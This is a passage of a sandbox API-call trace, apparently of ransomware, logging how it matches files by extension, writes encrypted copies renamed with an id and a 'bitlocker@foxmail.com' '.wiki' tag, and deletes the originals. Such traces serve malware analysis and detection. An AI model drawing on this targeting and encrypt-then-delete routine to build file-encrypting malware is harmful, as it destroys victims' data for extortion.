lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.715] WriteFile (in: hFile=0x198, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.716] SetEndOfFile (hFile=0x198) returned 1 [0044.716] CloseHandle (hObject=0x198) returned 1 [0044.716] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.716] SetEndOfFile (hFile=0x184) returned 1 [0044.717] CloseHandle (hObject=0x184) returned 1 [0044.717] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.717] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.718] lstrlenW (lpString=".doc") returned 4 [0044.718] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.718] lstrlenW (lpString=".docx") returned 5 [0044.718] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.718] lstrlenW (lpString=".pdf") returned 4 [0044.718] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.718] lstrlenW (lpString=".xls") returned 4 [0044.718] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.718] lstrlenW (lpString=".xlsx") returned 5 [0044.718] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.718] lstrlenW (lpString=".ppt") returned 4 [0044.718] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.718] lstrlenW (lpString=".zip") returned 4 [0044.718] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.718] lstrlenW (lpString=".rar") returned 4 [0044.718] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.718] lstrlenW (lpString=".bz2") returned 4 [0044.718] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.718] lstrlenW (lpString=".7z") returned 3 [0044.718] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.718] lstrlenW (lpString=".dbf") returned 4 [0044.718] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.718] lstrlenW (lpString=".1cd") returned 4 [0044.718] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.718] lstrlenW (lpString=".jpg") returned 4 [0044.718] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.718] lstrlenW (lpString=".doc") returned 4 [0044.718] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.719] lstrlenW (lpString=".docx") returned 5 [0044.719] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.719] lstrlenW (lpString=".pdf") returned 4 [0044.719] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.719] lstrlenW (lpString=".xls") returned 4 [0044.719] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.719] lstrlenW (lpString=".xlsx") returned 5 [0044.719] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.719] lstrlenW (lpString=".ppt") returned 4 [0044.719] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.719] lstrlenW (lpString=".zip") returned 4 [0044.719] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.719] lstrlenW (lpString=".rar") returned 4 [0044.719] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.719] lstrlenW (lpString=".bz2") returned 4 [0044.719] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.719] lstrlenW (lpString=".7z") returned 3 [0044.719] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.719] lstrlenW (lpString=".dbf") returned 4 [0044.719] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.719] lstrlenW (lpString=".1cd") returned 4 [0044.719] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0044.719] lstrlenW (lpString=".jpg") returned 4 [0044.719] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.719] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.719] lstrlenW (lpString="Proof.xml") returned 9 [0044.719] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0044.730] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1457) returned 1 [0044.730] CloseHandle (hObject=0x170) returned 1 [0044.730] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0044.730] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.730] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0044.730] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.730] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.731] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0044.731] GetLastError () returned 0x0 [0044.731] ReadFile (in: hFile=0x170, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0044.744] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0044.745] ReadFile (in: hFile=0x170, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.745] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.745] SetEndOfFile (hFile=0x1a4) returned 1 [0044.746] CloseHandle (hObject=0x1a4) returned 1 [0044.746] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.746] SetEndOfFile (hFile=0x170) returned 1 [0044.747] CloseHandle (hObject=0x170) returned 1 [0044.747] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.747] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0044.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.747] lstrlenW (lpString=".doc") returned 4 [0044.747] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString=".docx") returned 5 [0044.748] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0044.748] lstrlenW (lpString=".pdf") returned 4 [0044.748] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString=".xls") returned 4 [0044.748] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString=".xlsx") returned 5 [0044.748] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0044.748] lstrlenW (lpString=".ppt") returned 4 [0044.748] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.748] lstrlenW (lpString=".zip") returned 4 [0044.748] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.748] lstrlenW (lpString=".rar") returned 4 [0044.748] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString=".bz2") returned 4 [0044.748] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString=".7z") returned 3 [0044.748] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.748] lstrlenW (lpString=".dbf") returned 4 [0044.748] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.748] lstrlenW (lpString=".1cd") returned 4 [0044.748] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.748] lstrlenW (lpString=".jpg") returned 4 [0044.748] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.748] lstrlenW (lpString=".doc") returned 4 [0044.748] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.748] lstrlenW (lpString=".docx") returned 5 [0044.748] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0044.749] lstrlenW (lpString=".pdf") returned 4 [0044.749] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.749] lstrlenW (lpString=".xls") returned 4 [0044.749] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.749] lstrlenW (lpString=".xlsx") returned 5 [0044.749] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0044.749] lstrlenW (lpString=".ppt") returned 4 [0044.749] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.749] lstrlenW (lpString=".zip") returned 4 [0044.749] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.749] lstrlenW (lpString=".rar") returned 4 [0044.749] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.749] lstrlenW (lpString=".bz2") returned 4 [0044.749] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.749] lstrlenW (lpString=".7z") returned 3 [0044.749] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.749] lstrlenW (lpString=".dbf") returned 4 [0044.749] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.749] lstrlenW (lpString=".1cd") returned 4 [0044.749] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0044.749] lstrlenW (lpString=".jpg") returned 4 [0044.749] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.749] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.749] lstrlenW (lpString="Proofing.xml") returned 12 [0044.749] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0044.750] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=811) returned 1 [0044.750] CloseHandle (hObject=0x170) returned 1 [0044.750] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0044.750] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.750] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0044.750] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.750] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.750] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0044.750] GetLastError () returned 0x0 [0044.750] ReadFile (in: hFile=0x170, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x32b, lpOverlapped=0x0) returned 1 [0044.762] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x330, lpOverlapped=0x0) returned 1 [0044.762] ReadFile (in: hFile=0x170, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.762] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.763] SetEndOfFile (hFile=0x1a4) returned 1 [0044.763] CloseHandle (hObject=0x1a4) returned 1 [0044.763] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.763] SetEndOfFile (hFile=0x170) returned 1 [0044.764] CloseHandle (hObject=0x170) returned 1 [0044.764] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.764] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0044.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.765] lstrlenW (lpString=".doc") returned 4 [0044.765] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString=".docx") returned 5 [0044.765] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0044.765] lstrlenW (lpString=".pdf") returned 4 [0044.765] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString=".xls") returned 4 [0044.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString=".xlsx") returned 5 [0044.765] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0044.765] lstrlenW (lpString=".ppt") returned 4 [0044.765] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.765] lstrlenW (lpString=".zip") returned 4 [0044.765] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.765] lstrlenW (lpString=".rar") returned 4 [0044.765] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString=".bz2") returned 4 [0044.765] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString=".7z") returned 3 [0044.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.765] lstrlenW (lpString=".dbf") returned 4 [0044.765] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.765] lstrlenW (lpString=".1cd") returned 4 [0044.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.765] lstrlenW (lpString=".jpg") returned 4 [0044.765] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.765] lstrlenW (lpString=".doc") returned 4 [0044.765] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.765] lstrlenW (lpString=".docx") returned 5 [0044.765] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0044.766] lstrlenW (lpString=".pdf") returned 4 [0044.766] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.766] lstrlenW (lpString=".xls") returned 4 [0044.766] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.766] lstrlenW (lpString=".xlsx") returned 5 [0044.766] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0044.766] lstrlenW (lpString=".ppt") returned 4 [0044.766] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.766] lstrlenW (lpString=".zip") returned 4 [0044.766] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.766] lstrlenW (lpString=".rar") returned 4 [0044.766] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.766] lstrlenW (lpString=".bz2") returned 4 [0044.766] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.766] lstrlenW (lpString=".7z") returned 3 [0044.766] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.766] lstrlenW (lpString=".dbf") returned 4 [0044.766] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.766] lstrlenW (lpString=".1cd") returned 4 [0044.766] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0044.766] lstrlenW (lpString=".jpg") returned 4 [0044.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.766] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.766] lstrlenW (lpString="Setup.xml") returned 9 [0044.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0044.767] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=5884) returned 1 [0044.767] CloseHandle (hObject=0x170) returned 1 [0044.767] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0044.767] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.767] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0044.767] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.767] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.767] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0044.767] GetLastError () returned 0x0 [0044.767] ReadFile (in: hFile=0x170, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0044.789] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1700, 